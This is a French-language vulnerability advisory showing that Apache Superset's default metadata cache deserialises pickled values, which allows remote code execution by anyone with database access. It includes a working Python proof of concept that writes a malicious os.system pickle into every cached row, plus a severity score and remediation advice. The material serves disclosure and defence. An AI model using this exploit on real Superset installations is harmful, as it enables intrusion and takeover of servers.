
Exploitation du cache par défaut de Superset en utilisant pickle
[ Auteur ] Dinis Cruz
[ Projet ] Superset
Apache Superset propose différentes options de mise en cache, toutes basées sur Flask-Caching. Un cache intégré est fourni, qui sérialise les valeurs pour une récupération ultérieure. Cette sérialisation et cette récupération sont effectuées à l'aide de Pickle, ce qui permet la dé-sérialisation d'objets Python et donc l'exécution de code.
Le cache intégré écrit les informations dans la base de données de métadonnées, ce qui signifie qu'un attaquant ayant accès à cette base de données peut élever ses privilèges et obtenir un accès à distance à la machine/conteneur servant Superset.
La classe MetaStoreCache, qui utilise la classe PickleKeyValueCodec pour la sérialisation des informations.
Ce problème a été reproduit en créant d'abord une installation propre de Superset qui utilisera le cache intégré par défaut.
Avec la connaissance déjà acquise que l'accès à la base de données est nécessaire pour exploiter ce problème, nous pouvons mettre à jour les valeurs de toutes les valeurs mises en cache avec l'exploit pickle. Ensuite, lorsque la valeur est renvoyée à l'utilisateur, le module pickle sérialise les données et exécute notre code. Un PoC Python se trouve ci-dessous.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Ce script met à jour toutes les valeurs mises en cache dans la base de données, et une fois les données renvoyées à l'utilisateur, un fichier evil.sh est créé dans le répertoire /tmp à des fins de démonstration.
Tous les utilisateurs pourraient être impactés.
Score : 9.1
Bien que la correction incombe à l'équipe Superset, le principal problème réside dans l'utilisation de pickle pour la sérialisation des données. D'après ce que je comprends du commit #23888, un changement a été effectué pour supprimer la sérialisation Pickle d'autres composants, mais celui-ci a été conservé en raison de la nécessité de « gérer des types binaires arbitraires ». La solution la plus propre serait de passer à un autre mécanisme de sérialisation, mais on pourrait implémenter un unpickler restreint, ce qui n'est pas une solution sûre mais nécessiterait peut-être moins de travail lors de l'implémentation.
Accès à la base de données de métadonnées utilisée par l'installation de Superset.
Aucune configuration spéciale, seulement un interpréteur Python pour générer la charge utile ; l'introduction de la charge utile malveillante dans la base de données peut être effectuée de diverses manières.